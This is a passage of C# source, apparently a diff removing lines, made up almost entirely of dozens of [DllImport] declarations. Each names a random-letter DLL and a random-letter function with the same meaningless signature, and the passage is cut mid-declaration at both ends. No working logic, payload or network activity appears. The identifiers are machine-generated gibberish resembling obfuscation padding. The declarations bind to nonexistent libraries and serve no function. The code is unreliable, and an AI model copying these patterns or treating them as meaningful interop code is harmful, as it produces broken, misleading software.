ZrmcIQRPUGyGjwvMQTKjyrb, - string[] JMgJNblGUHtUqpSzRDHgHS, - char MebxUskgsKYthqOJmoVpu); - - [DllImport("droXkKKltGiChFXwXicueBkv.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DsYhhfkIPWBNNcgjbzPIrZcwZ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string BxJaowxHfZDFlrLTJojkinY, - string[] fmDedtjldDfKIpeypguFnm, - char aaCKWySxWnznlfxuRBMSO); - - [DllImport("fvzCtTvaLHuQGwLVEEqdEanC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ZqrNOYvcGVCIbjZFzByEoipTu( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string izmqQECvOLhEciepsIdeoxs, - string[] WlFZrmcIQRPUGyGjwvMQTK, - char jyrbJMgJNblGUHtUqpSzR); - - [DllImport("uDsYhhfkIPWBNNcgjbzPIrZc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DHgHSMebxUskgsKYthqOJmoVp( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string wZdroXkKKltGiChFXwXicue, - string[] BkvBxJaowxHfZDFlrLTJoj, - char kinYfmDedtjldDfKIpeyp); - - [DllImport("OZqrNOYvcGVCIbjZFzByEoip.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] guFnmaaCKWySxWnznlfxuRBMS( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TufvzCtTvaLHuQGwLVEEqdE, - string[] anCizmqQECvOLhEciepsId, - char eoxsWlFZrmcIQRPUGyGjw); - - [DllImport("RDHgHSMebxUskgsKYthqOJmo.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] vMQTKjyrbJMgJNblGUHtUqpSz( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string VpuDsYhhfkIPWBNNcgjbzPI, - string[] rZcwZdroXkKKltGiChFXwX, - char icueBkvBxJaowxHfZDFlr); - - [DllImport("pguFnmaaCKWySxWnznlfxuRB.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] LTJojkinYfmDedtjldDfKIpey( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string MSOZqrNOYvcGVCIbjZFzByE, - string[] oipTufvzCtTvaLHuQGwLVE, - char EqdEanCizmqQECvOLhEci); - - [DllImport("wvMQTKjyrbJMgJNblGUHtUqp.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] epsIdeoxsWlFZrmcIQRPUGyGj( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string SzRDHgHSMebxUskgsKYthqO, - string[] JmoVpuDsYhhfkIPWBNNcgj, - char bzPIrZcwZdroXkKKltGiC); - - [DllImport("rLTJojkinYfmDedtjldDfKIp.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] hFXwXicueBkvBxJaowxHfZDFl( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string eypguFnmaaCKWySxWnznlfx, - string[] uRBMSOZqrNOYvcGVCIbjZF, - char zByEoipTufvzCtTvaLHuQ); - - [DllImport("iepsIdeoxsWlFZrmcIQRPUGy.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] GwLVEEqdEanCizmqQECvOLhEc( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string GjwvMQTKjyrbJMgJNblGUHt, - string[] UqpSzRDHgHSMebxUskgsKY, - char thqOJmoVpuDsYhhfkIPWB); - - [DllImport("ChFXwXicueBkvBxJaowxHfZD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] NNcgjbzPIrZcwZdroXkKKltGi( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string FlrLTJojkinYfmDedtjldDf, - string[] KIpeypguFnmaaCKWySxWnz, - char nlfxuRBMSOZqrNOYvcGVC); - - [DllImport("QGwLVEEqdEanCizmqQECvOLh.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] IbjZFzByEoipTufvzCtTvaLHu( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string EciepsIdeoxsWlFZrmcIQRP, - string[] UGyGjwvMQTKjyrbJMgJNbl, - char GUHtUqpSzRDHgHSMebxUs); - - [DllImport("BNNcgjbzPIrZcwZdroXkKKlt.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] kgsKYthqOJmoVpuDsYhhfkIPW( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string GiChFXwXicueBkvBxJaowxH, - string[] fZDFlrLTJojkinYfmDedtj, - char ldDfKIpeypguFnmaaCKWy); - - [DllImport("CIbjZFzByEoipTufvzCtTvaL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] SxWnznlfxuRBMSOZqrNOYvcGV( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HuQGwLVEEqdEanCizmqQECv, - string[] OLhEciepsIdeoxsWlFZrmc, - char IQRPUGyGjwvMQTKjyrbJM); - - [DllImport("skgsKYthqOJmoVpuDsYhhfkI.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] gJNblGUHtUqpSzRDHgHSMebxU( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string PWBNNcgjbzPIrZcwZdroXkK, - string[] KltGiChFXwXicueBkvBxJa, - char owxHfZDFlrLTJojkinYfm); - - [DllImport("ySxWnznlfxuRBMSOZqrNOYvc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DedtjldDfKIpeypguFnmaaCKW( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string GVCIbjZFzByEoipTufvzCtT, - string[] vaLHuQGwLVEEqdEanCizmq, - char QECvOLhEciepsIdeoxsWl); - - [DllImport("MgJNblGUHtUqpSzRDHgHSMeb.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FZrmcIQRPUGyGjwvMQTKjyrbJ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string xUskgsKYthqOJmoVpuDsYhh, - string[] fkIPWBNNcgjbzPIrZcwZdr, - char oXkKKltGiChFXwXicueBk); - - [DllImport("mDedtjldDfKIpeypguFnmaaC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] vBxJaowxHfZDFlrLTJojkinYf( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string KWySxWnznlfxuRBMSOZqrNO, - string[] YvcGVCIbjZFzByEoipTufv, - char zCtTvaLHuQGwLVEEqdEan); - - [DllImport("lFZrmcIQRPUGyGjwvMQTKjyr.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] CizmqQECvOLhEciepsIdeoxsW( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string bJMgJNblGUHtUqpSzRDHgHS, - string[] MebxUskgsKYthqOJmoVpuD, - char sYhhfkIPWBNNcgjbzPIrZ); - - [DllImport("kvBxJaowxHfZDFlrLTJojkin.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] cwZdroXkKKltGiChFXwXicueB( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string YfmDedtjldDfKIpeypguFnm, - string[] aaCKWySxWnznlfxuRBMSOZ, - char qrNOYvcGVCIbjZFzByEoi); - - [DllImport("nCizmqQECvOLhEciepsIdeox.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] pTufvzCtTvaLHuQGwLVEEqdEa( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string sWlFZrmcIQRPUGyGjwvMQTK, - string[] jyrbJMgJNblGUHtUqpSzRD, - char HgHSMebxUskgsKYthqOJm); - - [DllImport("ZcwZdroXkKKltGiChFXwXicu.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] oVpuDsYhhfkIPWBNNcgjbzPIr( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string eBkvBxJaowxHfZDFlrLTJoj, - string[] kinYfmDedtjldDfKIpeypg, - char uFnmaaCKWySxWnznlfxuR); - - [DllImport("ipTufvzCtTvaLHuQGwLVEEqd.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] BMSOZqrNOYvcGVCIbjZFzByEo( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string EanCizmqQECvOLhEciepsId, - string[] eoxsWlFZrmcIQRPUGyGjwv, - char MQTKjyrbJMgJNblGUHtUq); - - [DllImport("moVpuDsYhhfkIPWBNNcgjbzP.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] pSzRDHgHSMebxUskgsKYthqOJ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string IrZcwZdroXkKKltGiChFXwX, - string[] icueBkvBxJaowxHfZDFlrL, - char TJojkinYfmDedtjldDfKI); - - [DllImport("RBMSOZqrNOYvcGVCIbjZFzBy.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] peypguFnmaaCKWySxWnznlfxu( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string EoipTufvzCtTvaLHuQGwLVE, - string[] EqdEanCizmqQECvOLhEcie, - char psIdeoxsWlFZrmcIQRPUG); - - [DllImport("qpSzRDHgHSMebxUskgsKYthq.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] yGjwvMQTKjyrbJMgJNblGUHtU( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string OJmoVpuDsYhhfkIPWBNNcgj, - string[] bzPIrZcwZdroXkKKltGiCh, - char FXwXicueBkvBxJaowxHfZ); - - [DllImport("IpeypguFnmaaCKWySxWnznlf.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DFlrLTJojkinYfmDedtjldDfK( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string xuRBMSOZqrNOYvcGVCIbjZF, - string[] zByEoipTufvzCtTvaLHuQG, - char wLVEEqdEanCizmqQECvOL); - - [DllImport("GyGjwvMQTKjyrbJMgJNblGUH.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] hEciepsIdeoxsWlFZrmcIQRPU( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tUqpSzRDHgHSMebxUskgsKY, - string[] thqOJmoVpuDsYhhfkIPWBN, - char NcgjbzPIrZcwZdroXkKKl); - - [DllImport("ZDFlrLTJojkinYfmDedtjldD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] tGiChFXwXicueBkvBxJaowxHf( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string fKIpeypguFnmaaCKWySxWnz, - string[] nlfxuRBMSOZqrNOYvcGVCI, - char bjZFzByEoipTufvzCtTva); - - [DllImport("LhEciepsIdeoxsWlFZrmcIQR.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] LHuQGwLVEEqdEanCizmqQECvO( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string PUGyGjwvMQTKjyrbJMgJNbl, - string[] GUHtUqpSzRDHgHSMebxUsk, - char gsKYthqOJmoVpuDsYhhfk); - - [DllImport("ltGiChFXwXicueBkvBxJaowx.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] IPWBNNcgjbzPIrZcwZdroXkKK( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HfZDFlrLTJojkinYfmDedtj, - string[] ldDfKIpeypguFnmaaCKWyS, - char xWnznlfxuRBMSOZqrNOYv); - - [DllImport("aLHuQGwLVEEqdEanCizmqQEC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] cGVCIbjZFzByEoipTufvzCtTv( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vOLhEciepsIdeoxsWlFZrmc, - string[] IQRPUGyGjwvMQTKjyrbJMg, - char JNblGUHtUqpSzRDHgHSMe); - - [DllImport("yWcjObaquwoOdVGnpKmrFCkx.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] pMhHyuGXmIvFcXBDjDJRGluvt( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string XXyIUvQuTlLlwqJrPyJPLXn, - string[] DKMVsnRTzGZhWCxxwCmsBR, - char rqHwzrQtYWEsNDtISBBno); - - [DllImport("JqTjQWpxmTOONSDvDhItKNQI.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] PYkNgLjCNCysLIfPZfbnEFacl( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string gKoYUJdULYiRRFqSoBPwOzE, - string[] eSPJbZvRpvrEHVrsCMHkzS, - char mGzpVefdiTMTxLKadgYwM); - - [DllImport("spMhHyuGXmIvFcXBDjDJRGlu.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FpXZtWboyUhVHiFEfNeQUuVga( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vtyWcjObaquwoOdVGnpKmrF, - string[] CkxXXyIUvQuTlLlwqJrPyJ, - char PLXnDKMVsnRTzGZhWCxxw); - - [DllImport("oPYkNgLjCNCysLIfPZfbnEFa.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] CmsBRrqHwzrQtYWEsNDtISBBn( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string clJqTjQWpxmTOONSDvDhItK, - string[] NQIgKoYUJdULYiRRFqSoBP, - char wOzEeSPJbZvRpvrEHVrsC); - - [DllImport("MFpXZtWboyUhVHiFEfNeQUuV.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] MHkzSmGzpVefdiTMTxLKadgYw( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string gaspMhHyuGXmIvFcXBDjDJR, - string[] GluvtyWcjObaquwoOdVGnp, - char KmrFCkxXXyIUvQuTlLlwq); - - [DllImport("wCmsBRrqHwzrQtYWEsNDtISB.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] JrPyJPLXnDKMVsnRTzGZhWCxx( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string BnoPYkNgLjCNCysLIfPZfbn, - string[] EFaclJqTjQWpxmTOONSDvD, - char hItKNQIgKoYUJdULYiRRF); - - [DllImport("CMHkzSmGzpVefdiTMTxLKadg.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qSoBPwOzEeSPJbZvRpvrEHVrs( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string YwMFpXZtWboyUhVHiFEfNeQ, - string[] UuVgaspMhHyuGXmIvFcXBD, - char jDJRGluvtyWcjObaquwoO); - - [DllImport("qJrPyJPLXnDKMVsnRTzGZhWC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] dVGnpKmrFCkxXXyIUvQuTlLlw( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string xxwCmsBRrqHwzrQtYWEsNDt, - string[] ISBBnoPYkNgLjCNCysLIfP, - char ZfbnEFaclJqTjQWpxmTOO); - - [DllImport("FqSoBPwOzEeSPJbZvRpvrEHV.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] NSDvDhItKNQIgKoYUJdULYiRR( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string rsCMHkzSmGzpVefdiTMTxLK, - string[] adgYwMFpXZtWboyUhVHiFE, - char fNeQUuVgaspMhHyuGXmIv); - - [DllImport("OdVGnpKmrFCkxXXyIUvQuTlL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FcXBDjDJRGluvtyWcjObaquwo( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lwqJrPyJPLXnDKMVsnRTzGZ, - string[] hWCxxwCmsBRrqHwzrQtYWE, - char sNDtISBBnoPYkNgLjCNCy); - - [DllImport("ONSDvDhItKNQIgKoYUJdULYi.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] sLIfPZfbnEFaclJqTjQWpxmTO( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string RRFqSoBPwOzEeSPJbZvRpvr, - string[] EHVrsCMHkzSmGzpVefdiTM, - char TxLKadgYwMFpXZtWboyUh); - - [DllImport("vFcXBDjDJRGluvtyWcjObaqu.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] VHiFEfNeQUuVgaspMhHyuGXmI( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string woOdVGnpKmrFCkxXXyIUvQu, - string[] TlLlwqJrPyJPLXnDKMVsnR, - char TzGZhWCxxwCmsBRrqHwzr); - - [DllImport("ysLIfPZfbnEFaclJqTjQWpxm.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] QtYWEsNDtISBBnoPYkNgLjCNC( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TOONSDvDhItKNQIgKoYUJdU, - string[] LYiRRFqSoBPwOzEeSPJbZv, - char RpvrEHVrsCMHkzSmGzpVe); - - [DllImport("hVHiFEfNeQUuVgaspMhHyuGX.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] fdiTMTxLKadgYwMFpXZtWboyU( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string mIvFcXBDjDJRGluvtyWcjOb, - string[] aquwoOdVGnpKmrFCkxXXyI, - char UvQuTlLlwqJrPyJPLXnDK); - - [DllImport("rQtYWEsNDtISBBnoPYkNgLjC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] MVsnRTzGZhWCxxwCmsBRrqHwz( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string NCysLIfPZfbnEFaclJqTjQW, - string[] pxmTOONSDvDhItKNQIgKoY, - char UJdULYiRRFqSoBPwOzEeS); - - [DllImport("efdiTMTxLKadgYwMFpXZtWbo.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] PJbZvRpvrEHVrsCMHkzSmGzpV( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string yUhVHiFEfNeQUuVgaspMhHy, - string[] uGXmIvFcXBDjDJRGluvtyW, - char cjObaquwoOdVGnpKmrFCk); - - [DllImport("KMVsnRTzGZhWCxxwCmsBRrqH.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] xXXyIUvQuTlLlwqJrPyJPLXnD( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string wzrQtYWEsNDtISBBnoPYkNg, - string[] LjCNCysLIfPZfbnEFaclJq, - char TjQWpxmTOONSDvDhItKNQ); - - [DllImport("SPJbZvRpvrEHVrsCMHkzSmGz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] IgKoYUJdULYiRRFqSoBPwOzEe( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string pVefdiTMTxLKadgYwMFpXZt, - string[] WboyUhVHiFEfNeQUuVgasp, - char MhHyuGXmIvFcXBDjDJRGl); - - [DllImport("kxXXyIUvQuTlLlwqJrPyJPLX.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] uvtyWcjObaquwoOdVGnpKmrFC( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string nDKMVsnRTzGZhWCxxwCmsBR, - string[] rqHwzrQtYWEsNDtISBBnoP, - char YkNgLjCNCysLIfPZfbnEF); - - [DllImport("QIgKoYUJdULYiRRFqSoBPwOz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] aclJqTjQWpxmTOONSDvDhItKN( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string EeSPJbZvRpvrEHVrsCMHkzS, - string[] mGzpVefdiTMTxLKadgYwMF, - char pXZtWboyUhVHiFEfNeQUu); - - [DllImport("irrqvSZgLYXnqtlKZSCkmHjo.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] VgaspMhHyuGXmIvFcXByfzFND( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string CyhuUUvERsMrQhIitnGoLuG, - string[] MITkzHISpkOQvDWeTyuusx, - char jpwOonEtwoNqVTBpKzqFP); - - [DllImport("CXZiGmQgNTmujPLLKOzszeFq.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] xxkkMUhJdIgxKyvpIFcMWcYkB( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HKNFdHlVRGaQHVfOOBnPlxM, - string[] tLwBaPMGYVsOmsoBESnpyJ, - char EgwPjDwmSbbafQJQuIHXa); - - [DllImport("rRcWolJeDvrDUiErCZUxyfzF.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] dVtJClUWqTYlvReSEfCBcKbNR( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string NDirrqvSZgLYXnqtlKZSCkm, - string[] HjoCyhuUUvERsMrQhIitnG, - char oLuGMITkzHISpkOQvDWeT); - - [DllImport("PxxkkMUhJdIgxKyvpIFcMWcY.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] yuusxjpwOonEtwoNqVTBpKzqF( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string kBCXZiGmQgNTmujPLLKOzsz, - string[] eFqHKNFdHlVRGaQHVfOOBn, - char PlxMtLwBaPMGYVsOmsoBE); - - [DllImport("adVtJClUWqTYlvReSEfCBcKb.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] SnpyJEgwPjDwmSbbafQJQuIHX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string NRrRcWolJeDvrDUiErCZUxy, - string[] fzFNDirrqvSZgLYXnqtlKZ, - char SCkmHjoCyhuUUvERsMrQh); - - [DllImport("TyuusxjpwOonEtwoNqVTBpKz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] IitnGoLuGMITkzHISpkOQvDWe( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string qFPxxkkMUhJdIgxKyvpIFcM, - string[] WcYkBCXZiGmQgNTmujPLLK, - char OzszeFqHKNFdHlVRGaQHV); - - [DllImport("ESnpyJEgwPjDwmSbbafQJQuI.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] fOOBnPlxMtLwBaPMGYVsOmsoB( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HXadVtJClUWqTYlvReSEfCB, - string[] cKbNRrRcWolJeDvrDUiErC, - char ZUxyfzFNDirrqvSZgLYXn); - - [DllImport("hIitnGoLuGMITkzHISpkOQvD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qtlKZSCkmHjoCyhuUUvERsMrQ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string WeTyuusxjpwOonEtwoNqVTB, - string[] pKzqFPxxkkMUhJdIgxKyvp, - char IFcMWcYkBCXZiGmQgNTmu); - - [DllImport("VfOOBnPlxMtLwBaPMGYVsOms.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] jPLLKOzszeFqHKNFdHlVRGaQH( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string oBESnpyJEgwPjDwmSbbafQJ, - string[] QuIHXadVtJClUWqTYlvReS, - char EfCBcKbNRrRcWolJeDvrD); - - [DllImport("nqtlKZSCkmHjoCyhuUUvERsM.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] UiErCZUxyfzFNDirrqvSZgLYX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string rQhIitnGoLuGMITkzHISpkO, - string[] QvDWeTyuusxjpwOonEtwoN, - char qVTBpKzqFPxxkkMUhJdIg); - - [DllImport("ujPLLKOzszeFqHKNFdHlVRGa.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] xKyvpIFcMWcYkBCXZiGmQgNTm( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QHVfOOBnPlxMtLwBaPMGYVs, - string[] OmsoBESnpyJEgwPjDwmSbb, - char afQJQuIHXadVtJClUWqTY); - - [DllImport("DUiErCZUxyfzFNDirrqvSZgL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] lvReSEfCBcKbNRrRcWolJeDvr( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string YXnqtlKZSCkmHjoCyhuUUvE, - string[] RsMrQhIitnGoLuGMITkzHI, - char SpkOQvDWeTyuusxjpwOon); - - [DllImport("gxKyvpIFcMWcYkBCXZiGmQgN.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] EtwoNqVTBpKzqFPxxkkMUhJdI( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TmujPLLKOzszeFqHKNFdHlV, - string[] RGaQHVfOOBnPlxMtLwBaPM, - char GYVsOmsoBESnpyJEgwPjD); - - [DllImport("YlvReSEfCBcKbNRrRcWolJeD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] wmSbbafQJQuIHXadVtJClUWqT( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vrDUiErCZUxyfzFNDirrqvS, - string[] ZgLYXnqtlKZSCkmHjoCyhu, - char UUvERsMrQhIitnGoLuGMI); - - [DllImport("nEtwoNqVTBpKzqFPxxkkMUhJ.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] TkzHISpkOQvDWeTyuusxjpwOo( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dIgxKyvpIFcMWcYkBCXZiGm, - string[] QgNTmujPLLKOzszeFqHKNF, - char dHlVRGaQHVfOOBnPlxMtL); - - [DllImport("DwmSbbafQJQuIHXadVtJClUW.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] wBaPMGYVsOmsoBESnpyJEgwPj( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string qTYlvReSEfCBcKbNRrRcWol, - string[] JeDvrDUiErCZUxyfzFNDir, - char rqvSZgLYXnqtlKZSCkmHj); - - [DllImport("ITkzHISpkOQvDWeTyuusxjpw.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] oCyhuUUvERsMrQhIitnGoLuGM( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string OonEtwoNqVTBpKzqFPxxkkM, - string[] UhJdIgxKyvpIFcMWcYkBCX, - char ZiGmQgNTmujPLLKOzszeF); - - [DllImport("LwBaPMGYVsOmsoBESnpyJEgw.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qHKNFdHlVRGaQHVfOOBnPlxMt( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string PjDwmSbbafQJQuIHXadVtJC, - string[] lUWqTYlvReSEfCBcKbNRrR, - char cWolJeDvrDUiErCZUxyfz); - - [DllImport("joCyhuUUvERsMrQhIitnGoLu.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FNDirrqvSZgLYXnqtlKZSCkmH( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string GMITkzHISpkOQvDWeTyuusx, - string[] jpwOonEtwoNqVTBpKzqFPx, - char xkkMUhJdIgxKyvpIFcMWc); - - [DllImport("MxORUMkOscYNhYPcmVVJuWsF.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] YkBCXZiGuXnUatCqXSSRWHzHl( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TBSEIiWTNfdzVtzvILZvwGQ, - string[] LoEWqKEtZijhmXQXCPOehk, - char cCQJtbdxafsDYlZLmJIjR); - - [DllImport("HNVKpyzxDagnSfeuyBsShZKr.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] iUYyZkewtQlLDyKbqMzJgbFHn( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tOqvJGoCbbDMYzUyXpPpBuN, - string[] vTDNTPbrHOQZwrVXEKdlaG, - char CCBGqwFVvuLBEvUxcaIwR); - - [DllImport("jfrIJegpNuXnUatCqXSSRWHz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] HxMWFFrsTcoRkPnGSGDwPMjTd( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HlMxORUMkOscYNhYPcmVVJu, - string[] WsFTBSEIiWTNfdzVtzvILZ, - char vwGQLoEWqKEtZijhmXQXC); - - [DllImport("RiUYyZkewtQlLDyKbqMzJgbF.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] POehkcCQJtbdxafsDYlZLmJIj( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HnHNVKpyzxDagnSfeuyBsSh, - string[] ZKrtOqvJGoCbbDMYzUyXpP, - char pBuNvTDNTPbrHOQZwrVXE); - - [DllImport("RHxMWFFrsTcoRkPnGSGDwPMj.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] KdlaGCCBGqwFVvuLBEvUxcaIw( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TdjfrIJegpNuXnUatCqXSSR, - string[] WHzHlMxORUMkOscYNhYPcm, - char VVJuWsFTBSEIiWTNfdzVt); - - [DllImport("CPOehkcCQJtbdxafsDYlZLmJ.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] zvILZvwGQLoEWqKEtZijhmXQX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string IjRiUYyZkewtQlLDyKbqMzJ, - string[] gbFHnHNVKpyzxDagnSfeuy, - char BsShZKrtOqvJGoCbbDMYz); - - [DllImport("EKdlaGCCBGqwFVvuLBEvUxca.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] UyXpPpBuNvTDNTPbrHOQZwrVX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string IwRHxMWFFrsTcoRkPnGSGDw, - string[] PMjTdjfrIJegpNuXnUatCq, - char XSSRWHzHlMxORUMkOscYN); - - [DllImport("tzvILZvwGQLoEWqKEtZijhmX.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] hYPcmVVJuWsFTBSEIiWTNfdzV( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QXCPOehkcCQJtbdxafsDYlZ, - string[] LmJIjRiUYyZkewtQlLDyKb, - char 